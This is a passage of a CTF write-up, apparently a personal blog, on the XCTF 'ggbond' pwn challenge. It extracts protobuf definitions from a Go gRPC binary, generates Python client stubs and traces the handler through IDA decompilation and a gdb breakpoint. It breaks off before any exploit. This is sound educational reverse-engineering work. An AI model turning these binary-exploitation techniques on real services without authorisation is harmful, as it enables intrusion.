nyyyddddn

xctf_ggbord复现

2024/06/25

ggbond

可以发现主函数是main_main,同时存在大量grpc字段,可以判断出程序使用了grpc框架。和grpc框架开发的程序进行交互,需要提取protobuf,protobuf谷歌开发的数据序列化格式,它通常用于网络通信和数据存储的应用程序之间的结构化数据交换。这个工具让你能够定义交互时消息的数据结构。

程序套了grpc,与程序的交互不再直接通过标准输入,而需要通过定义的 gRPC 服务接口来进行,然后grpc 使用一个叫protobuf的结构去描述怎么和程序交互的,首先需要提取出程序中的protobuf,然后python中有一个叫grpc_tools的库可以通过 protobuf文件生成和程序交互的代码。

github上有一个叫pbtk的项目可以提取出elf的 protobuf结构

使用 pbtk提取 protobuf文件

1
./pbtk/extractors/from_binary.py pwn

提取出来的protobuf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {

}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}

使用grpc_tools 生成和程序交互的函数库的命令

1
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ./ggbond.proto

可以发现多出来两个文件 ggbond_pb2_grpc.py ggbond_pb2.py

ggbond_pb2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 5.26.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()


DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
_globals['DESCRIPTOR']._loaded_options = None
_globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
_globals['_REQUEST']._serialized_start=25
_globals['_REQUEST']._serialized_end=181
_globals['_RESPONSE']._serialized_start=184
_globals['_RESPONSE']._serialized_end=389
_globals['_WHOAMIREQUEST']._serialized_start=391
_globals['_WHOAMIREQUEST']._serialized_end=406
_globals['_WHOAMIRESPONSE']._serialized_start=408
_globals['_WHOAMIRESPONSE']._serialized_end=442
_globals['_ROLECHANGEREQUEST']._serialized_start=444
_globals['_ROLECHANGEREQUEST']._serialized_end=478
_globals['_ROLECHANGERESPONSE']._serialized_start=480
_globals['_ROLECHANGERESPONSE']._serialized_end=518
_globals['_REPEATERREQUEST']._serialized_start=520
_globals['_REPEATERREQUEST']._serialized_end=555
_globals['_REPEATERRESPONSE']._serialized_start=557
_globals['_REPEATERRESPONSE']._serialized_end=593
_globals['_ERRORRESPONSE']._serialized_start=595
_globals['_ERRORRESPONSE']._serialized_end=628
_globals['_GGBONDSERVER']._serialized_start=630
_globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)

ggbond_pb2_grpc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import warnings

import ggbond_pb2 as ggbond__pb2

GRPC_GENERATED_VERSION = '1.64.0'
GRPC_VERSION = grpc.__version__
EXPECTED_ERROR_RELEASE = '1.65.0'
SCHEDULED_RELEASE_DATE = 'June 25, 2024'
_version_not_supported = False

try:
from grpc._utilities import first_version_is_lower
_version_not_supported = first_version_is_lower(GRPC_VERSION, GRPC_GENERATED_VERSION)
except ImportError:
_version_not_supported = True

if _version_not_supported:
warnings.warn(
f'The grpc package installed is at version {GRPC_VERSION},'
+ f' but the generated code in ggbond_pb2_grpc.py depends on'
+ f' grpcio>={GRPC_GENERATED_VERSION}.'
+ f' Please upgrade your grpc module to grpcio>={GRPC_GENERATED_VERSION}'
+ f' or downgrade your generated code using grpcio-tools<={GRPC_VERSION}.'
+ f' This warning will become an error in {EXPECTED_ERROR_RELEASE},'
+ f' scheduled for release on {SCHEDULED_RELEASE_DATE}.',
RuntimeWarning
)


class GGBondServerStub(object):
"""Missing associated documentation comment in .proto file."""

def __init__(self, channel):
"""Constructor.

Args:
channel: A grpc.Channel.
"""
self.Handler = channel.unary_unary(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond__pb2.Request.SerializeToString,
response_deserializer=ggbond__pb2.Response.FromString,
_registered_method=True)


class GGBondServerServicer(object):
"""Missing associated documentation comment in .proto file."""

def Handler(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')


def add_GGBondServerServicer_to_server(servicer, server):
rpc_method_handlers = {
'Handler': grpc.unary_unary_rpc_method_handler(
servicer.Handler,
request_deserializer=ggbond__pb2.Request.FromString,
response_serializer=ggbond__pb2.Response.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'GGBond.GGBondServer', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
server.add_registered_method_handlers('GGBond.GGBondServer', rpc_method_handlers)


# This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
"""Missing associated documentation comment in .proto file."""

@staticmethod
def Handler(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(
request,
target,
'/GGBond.GGBondServer/Handler',
ggbond__pb2.Request.SerializeToString,
ggbond__pb2.Response.FromString,
options,
channel_credentials,
insecure,
call_credentials,
compression,
wait_for_ready,
timeout,
metadata,
_registered_method=True)

其中ggbond_pb2.py 定义了交互的时候消息的数据结构

ggbond_pb2_grpc.py 定义了交互的时候 接收 处理 响应请求的代码

通过grpc_tools 生成ggbond_pb2_grpc.py ggbond_pb2.py这两个文件后,就要弄清楚这两个库该怎么用,还有交互的板子该怎么写的问题

protobuf中定义了一个叫 GGBondServer的 rpc服务,其中有三个 request请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
rpc Handler(Request) returns (Response);
}

message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}

message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}

message WhoamiRequest {

}

message WhoamiResponse {
string message = 2000;
}

message RoleChangeRequest {
uint32 role = 1001;
}

message RoleChangeResponse {
string message = 2001;
}

message RepeaterRequest {
string message = 1002;
}

message RepeaterResponse {
string message = 2002;
}

message ErrorResponse {
string message = 4444;
}

根据gpt给的样例,交互的板子是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import grpc

import ggbond_pb2
import ggbond_pb2_grpc


def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond

之后就是找protobuf中定义的三个request对应的handler代码在哪里,这三个handler的代码块 就是程序的 “主逻辑”

在main_main函数中,有一个google_golang_org_grpc__ptr_Server_RegisterService函数,第二个参数是一个描述服务的结构体ServiceDesc,其中MethodDest结构体中有一个handler指针,指向handler函数

1
2
3
v11.data = &unk_C94D10;
google_golang_org_grpc__ptr_Server_RegisterService(v8, &stru_C59860, v11);
v6 = (*(__int64 (__golang **)(__int64))(v9[0] + 32LL))(3LL);

结构体的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
type ServiceDesc struct {
ServiceName string
HandlerType interface{}
Methods []MethodDesc
Streams []StreamDesc
}

type MethodDesc struct {
MethodName string
Handler func(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor UnaryServerInterceptor) (interface{}, error)
}

type StreamDesc struct {
StreamName string
Handler func(srv interface{}, stream ServerStream) error
ServerStreams bool
ClientStreams bool
}

在ida的结构是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:0000000000C59860 ; grpc_ServiceDesc stru_C59860
.data:0000000000C59860 stru_C59860 dq offset aGgbondGgbondse_0; ServiceName.ptr
.data:0000000000C59860 ; DATA XREF: main_main+121↑o
.data:0000000000C59868 dq 13h ; ServiceName.len ; "GGBond.GGBondServer"
.data:0000000000C59870 dq offset RTYPE__ptr_ggbond_GGBondServerServer; HandlerType.tab
.data:0000000000C59878 dq 0 ; HandlerType.data
.data:0000000000C59880 dq offset off_C525C0 ; Methods.ptr
.data:0000000000C59888 dq 1 ; Methods.len
.data:0000000000C59890 dq 1 ; Methods.cap
.data:0000000000C59898 dq offset byte_C94A20 ; Streams.ptr
.data:0000000000C598A0 dq 0 ; Streams.len
.data:0000000000C598A8 dq 0 ; Streams.cap
.data:0000000000C598B0 dq offset RTYPE_string ; Metadata.tab
.data:0000000000C598B8 dq offset off_C51630 ; Metadata.data

从methods.ptr这个指针跟过去 0x90BD28h 这个就是handler函数的地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
.data:0000000000C525C0 off_C525C0      dq offset aFlagsLenDLocks+222h
.data:0000000000C525C0 ; DATA XREF: .data:stru_C59860↓o
.data:0000000000C525C0 ; "HandlerHanunooHstrok;ILLEGALIM UsedIO w"...
.data:0000000000C525C8 db 7
.data:0000000000C525C9 db 0
.data:0000000000C525CA db 0
.data:0000000000C525CB db 0
.data:0000000000C525CC db 0
.data:0000000000C525CD db 0
.data:0000000000C525CE db 0
.data:0000000000C525CF db 0
.data:0000000000C525D0 dd 90BD28h
.data:0000000000C525D4 align 20h

handler函数的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// main/ggbond._GGBondServer_Handler_Handler
RTYPE *__golang main_ggbond__GGBondServer_Handler_Handler(
void *a1,
void *a2,
__int64 a3,
__int64 a4,
__int64 (__golang **a5)(RTYPE *, ggbond_Request *),
__int64 (__golang **a6)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *))
{
__int64 v6; // r14
int v7; // r8d
int v8; // r9d
int v9; // r10d
int v10; // r11d
char *v11; // rcx
__int64 i; // rax
grpc_UnaryServerInfo *p_grpc_UnaryServerInfo; // rax
_QWORD *v14; // rax
__int64 v15; // rdx
__int64 v16; // r8
void *v17; // rcx
__int64 v19; // rax
char v20[80]; // [rsp+40h] [rbp-338h] BYREF
char v21; // [rsp+90h] [rbp-2E8h] BYREF
grpc_UnaryServerInfo *v22; // [rsp+340h] [rbp-38h]
ggbond_Request *p_ggbond_Request; // [rsp+348h] [rbp-30h]
void *v24; // [rsp+350h] [rbp-28h]
char *v25; // [rsp+358h] [rbp-20h]
__int64 v26; // [rsp+360h] [rbp-18h]
__int64 v27; // [rsp+368h] [rbp-10h]
void *v29; // [rsp+380h] [rbp+8h]
__int64 v32; // [rsp+390h] [rbp+18h]
__int64 v33; // [rsp+390h] [rbp+18h]
__int64 (__golang **v37)(__int64, __int64, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]
__int64 (__golang **v38)(_QWORD, _QWORD, RTYPE *, ggbond_Request *, grpc_UnaryServerInfo *, _QWORD *); // [rsp+3A8h] [rbp+30h]

while ( (unsigned __int64)&v21 <= *(_QWORD *)(v6 + 16) )
{
v29 = a1;
v33 = a3;
v38 = a6;
runtime_morestack_noctxt();
a1 = v29;
a3 = v33;
a6 = v38;
}
v37 = a6;
v32 = a3;
v24 = a1;
p_ggbond_Request = (ggbond_Request *)runtime_newobject(&RTYPE_ggbond_Request);
if ( (*a5)(&RTYPE__ptr_ggbond_Request, p_ggbond_Request) )
return 0LL;
if ( v37 )
{
p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_newobject(&RTYPE_grpc_UnaryServerInfo);
p_grpc_UnaryServerInfo->Server.tab = v24;
if ( dword_C95060 )
p_grpc_UnaryServerInfo = (grpc_UnaryServerInfo *)runtime_gcWriteBarrierDX(
&p_grpc_UnaryServerInfo->Server.data,
a5,
a2);
else
p_grpc_UnaryServerInfo->Server.data = a2;
v22 = p_grpc_UnaryServerInfo;
p_grpc_UnaryServerInfo->FullMethod.len = 28LL;
p_grpc_UnaryServerInfo->FullMethod.ptr = "/GGBond.GGBondServer/Handler";
v14 = runtime_newobject((const RTYPE *)&unk_866D80);
*v14 = main_ggbond__GGBondServer_Handler_Handler_func1;
v17 = v24;
v14[1] = v24;
if ( dword_C95060 )
v14 = (_QWORD *)runtime_gcWriteBarrierR9(v14 + 2, a5, v15, v17, v16, a2);
else
v14[2] = a2;
return (RTYPE *)(*v37)(v32, a4, &RTYPE__ptr_ggbond_Request, p_ggbond_Request, v22, v14);
}
else
{
((void (__fastcall *)(char *))loc_468D3C)(v20);
v25 = v20;
v26 = 768LL;
v27 = 768LL;
v11 = v20;
for ( i = 0LL; i < 16; ++i )
*v11++ = 16;
v19 = runtime_assertE2I(
(unsigned int)&RTYPE_ggbond_GGBondServerServer,
(_DWORD)v24,
(_DWORD)v11,
(unsigned int)v20,
(_DWORD)a5,
v7,
v8,
v9,
v10);
(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);
return &RTYPE__ptr_ggbond_Response;
}
}

可以发现这段代码大多数逻辑都是做资源分配,还有service信息的设置,关键的逻辑在这里,这里有一个函数指针的调用

1
2
3
4
5
6
7
8
9
10
11
v19 = runtime_assertE2I(
(unsigned int)&RTYPE_ggbond_GGBondServerServer,
(_DWORD)v24,
(_DWORD)v11,
(unsigned int)v20,
(_DWORD)a5,
v7,
v8,
v9,
v10);
(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v19 + 24))(a2, v32, a4, p_ggbond_Request);

v19 + 24这个函数指针不知道是什么地址

1
2
3
4
.text:00000000007ED532                 mov     rdi, [rsp+368h+var_30]
.text:00000000007ED53A mov rdx, rcx
.text:00000000007ED53D mov rcx, [rsp+368h+arg_18]
.text:00000000007ED545 call rdx

可以用gdb.attach()打个断点看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

def whoami(chan):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
return respond

def role_change(chan,role):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
return respond

def repeater(chan,message):
stub=ggbond_pb2_grpc.GGBondServerStub(chan)
respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
return respond

file_path = './pwn'
p1 = process(file_path)

p = remote("127.0.0.1", 23334)

channel=grpc.insecure_channel('localhost:23334')

gdb_comm = '''
b *0x00000000007ED545
c
'''
gdb.attach(p1,gdb_comm)

print(whoami(channel))

调用的是0x7ed860 这个地址,跟过去发现 main__ptr_server_Handler这个函数

1
► 0x7ed545    call   rdx                           <0x7ed860>

main__ptr_server_Handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
// main.(*server).Handler
// local variable allocation has failed, the output may be wrong!
retval_848680 __golang main__ptr_server_Handler(_ptr_main_server a1, context_Context a2, _ptr_ggbond_Request p_data)
{
__int64 v3; // rsi
__int64 v4; // r14
__int128 v5; // xmm15
RTYPE **tab; // rcx
ggbond_Response_Whoami *p_ggbond_Response_Whoami; // rax
__int64 v8; // rdx
ggbond_Response *p_ggbond_Response; // rax
int v10; // r9d
__int64 v11; // r10
int v12; // r11d
RTYPE **v13; // rcx
__int64 *v14; // r8
__int64 v15; // rax
__int64 v16; // rdi
ggbond_Response *v17; // rax
void *v18; // rbx
void *v19; // rcx
ggbond_Response_RoleChange *p_ggbond_Response_RoleChange; // rax
__int64 v21; // rdx
__int64 v22; // r8
__int64 v23; // r9
int v24; // r10d
RTYPE **v25; // rcx
RTYPE **v26; // r10
__int64 *v27; // r11
__int64 v28; // rax
__int64 v29; // rdi
__int64 *v30; // rsi
__int64 v31; // rdi
ggbond_Response_Repeater *p_ggbond_Response_Repeater; // rax
__int64 v33; // rdx
ggbond_Response *v34; // rax
__int64 v35; // r9
__int64 v36; // r10
int v37; // r11d
RTYPE **v38; // rcx
__int64 *v39; // r8
void *v40; // rbx
__int64 v41; // rax
int v42; // r8d
int v43; // r9d
int v44; // r10d
__int64 v45; // rdi
RTYPE **v46; // rax
__int128 *v47; // rsi
uint8 *v48; // rdi
__int64 i; // rax
ggbond_Response_Repeater *v50; // rax
__int64 v51; // rdx
ggbond_Response *v52; // rax
__int64 v53; // r8
__int64 v54; // r9
RTYPE **v55; // rcx
__int64 *v56; // r10
void *v57; // rbx
void *v58; // rcx
RTYPE **v59; // r11
void *v60; // rdx
__int64 v61; // rax
__int64 v62; // rdi
ggbond_Response_Error *p_ggbond_Response_Error; // rax
__int64 v64; // rdx
int v65; // r8d
int v66; // r9d
int v67; // r10d
RTYPE **v68; // rcx
__int64 *v69; // rsi
__int64 v70; // rdi
unsigned int v71; // [rsp+0h] [rbp-D4h]
size_t len; // [rsp+4h] [rbp-D0h]
__int128 v73[2]; // [rsp+Ch] [rbp-C8h] BYREF
ggbond_Response *v74; // [rsp+2Ch] [rbp-A8h]
ggbond_Response *v75; // [rsp+34h] [rbp-A0h]
ggbond_Response *v76; // [rsp+3Ch] [rbp-98h]
ggbond_Response *v77; // [rsp+44h] [rbp-90h] BYREF
ggbond_WhoamiResponse *p_ggbond_WhoamiResponse; // [rsp+4Ch] [rbp-88h]
ggbond_RoleChangeResponse *p_ggbond_RoleChangeResponse; // [rsp+54h] [rbp-80h]
ggbond_RepeaterResponse *p_ggbond_RepeaterResponse; // [rsp+5Ch] [rbp-78h]
ggbond_RepeaterResponse *v81; // [rsp+64h] [rbp-70h]
ggbond_ErrorResponse *p_ggbond_ErrorResponse; // [rsp+6Ch] [rbp-68h]
ggbond_Response_Error *v83; // [rsp+74h] [rbp-60h]
ggbond_Response_Repeater *v84; // [rsp+7Ch] [rbp-58h]
ggbond_Response_RoleChange *v85; // [rsp+84h] [rbp-50h]
__int64 *v86; // [rsp+8Ch] [rbp-48h]
ggbond_Response_Whoami *v87; // [rsp+94h] [rbp-40h]
uint8 *ptr; // [rsp+9Ch] [rbp-38h]
size_t v89; // [rsp+A4h] [rbp-30h]
size_t cap; // [rsp+ACh] [rbp-28h]
__int128 *v91; // [rsp+B4h] [rbp-20h]
__int64 v92; // [rsp+BCh] [rbp-18h]
__int64 v93; // [rsp+C4h] [rbp-10h]
main_server *v94; // [rsp+DCh] [rbp+8h]
void *data; // [rsp+ECh] [rbp+18h]
_ptr_ggbond_Request v96; // [rsp+F4h] [rbp+20h]
string v97; // 0:rbx.8,8:rcx.8
retval_848680 result; // 0:rax.8,8:rbx.8,16:rcx.8
retval_83EE40 v99; // 0:rax.8,8:rbx.8,16:rcx.8,24:rdi.16

while ( (unsigned __int64)&v77 <= *(_QWORD *)(v4 + 16) )
{
v94 = a1;
data = a2.data;
runtime_morestack_noctxt();
a1 = v94;
a2.data = data;
}
tab = (RTYPE **)p_data->Request.tab;
if ( !tab )
goto LABEL_63;
if ( tab == off_979A00 )
{
p_ggbond_WhoamiResponse = (ggbond_WhoamiResponse *)runtime_newobject(&RTYPE_ggbond_WhoamiResponse);
p_ggbond_Response_Whoami = (ggbond_Response_Whoami *)runtime_newobject(&RTYPE_ggbond_Response_Whoami);
v87 = p_ggbond_Response_Whoami;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_Whoami;
runtime_gcWriteBarrierCX(p_ggbond_Response_Whoami, v3, v8);
}
else
{
p_ggbond_Response_Whoami->Whoami = p_ggbond_WhoamiResponse;
}
p_ggbond_Response = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v13 = off_979AA0;
p_ggbond_Response->Response.tab = off_979AA0;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&p_ggbond_Response->Response.data;
p_ggbond_Response = (ggbond_Response *)runtime_gcWriteBarrierDX(&p_ggbond_Response->Response.data, v3);
}
else
{
p_ggbond_Response->Response.data = v87;
}
v14 = (__int64 *)p_ggbond_Response->Response.data;
if ( p_ggbond_Response->Response.tab != v13 )
runtime_panicdottypeI(
p_ggbond_Response->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_Whoami,
(unsigned int)&RTYPE_ggbond_isResponse_Response,
(_DWORD)p_data,
v3,
(_DWORD)v14,
v10,
v11);
if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
runtime_panicIndex(
qword_C94B80,
&RTYPE__ptr_ggbond_Response_Whoami,
qword_C525A8,
p_data,
v3,
v14,
off_C525A0,
v11);
v77 = p_ggbond_Response;
v86 = v14;
v15 = runtime_concatstring2(
0,
(unsigned int)"I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]",
4,
(unsigned int)off_C525A0[2 * qword_C94B80],
(unsigned int)off_C525A0[2 * qword_C94B80 + 1],
(_DWORD)v14,
(_DWORD)off_C525A0,
v11,
v12);
v16 = *v86;
*(_QWORD *)(*v86 + 48) = "I'm IDLEIMAGINFOIcy;Ifr;Int;IumlJcy;Jfr;JulyJuneKcy;Kfr;KindLEAFLcy;Lfr;LisuLsh;MBoxMap;Mcy;Mfr;MiaoModiNONENameNcy;NewaNfr;Not;Ocy;Ofr;OumlPINGPOSTPagePathPcy;Pfr;Phi;PortPrefPsi;QUOTQfr;REG;Rcy;Rfr;Rho;Rsh;Scy;Sfr;Sub;Sum;Sup;Tab;Tau;Tcy;Tfr;ThaiTrueTypeUcy;Ufr;UumlVcy;Vee;Vfr;Wfr;Xfr;Ycy;Yfr;Zcy;Zfr;\"%d\"\", \"\"OK\"\"`'/\\/[]";
if ( dword_C95060 )
runtime_gcWriteBarrier(v16 + 40);
else
*(_QWORD *)(v16 + 40) = v15;
v17 = v77;
v18 = 0LL;
v19 = 0LL;
goto LABEL_90;
}
if ( tab == off_9799E0 )
{
v71 = *(_DWORD *)(*(_QWORD *)p_data->Request.data + 40LL);
p_ggbond_RoleChangeResponse = (ggbond_RoleChangeResponse *)runtime_newobject(&RTYPE_ggbond_RoleChangeResponse);
p_ggbond_Response_RoleChange = (ggbond_Response_RoleChange *)runtime_newobject(&RTYPE_ggbond_Response_RoleChange);
v85 = p_ggbond_Response_RoleChange;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)p_ggbond_Response_RoleChange;
runtime_gcWriteBarrierCX(p_ggbond_Response_RoleChange, v3, v21);
}
else
{
p_ggbond_Response_RoleChange->RoleChange = p_ggbond_RoleChangeResponse;
}
v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
v25 = off_979A80;
v17->Response.tab = off_979A80;
if ( dword_C95060 )
{
p_data = (_ptr_ggbond_Request)&v17->Response.data;
v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
}
else
{
v17->Response.data = v85;
}
if ( v71 > 3 )
{
v30 = (__int64 *)v17->Response.data;
if ( v17->Response.tab != v25 )
runtime_panicdottypeI(
v17->Response.tab,
(unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
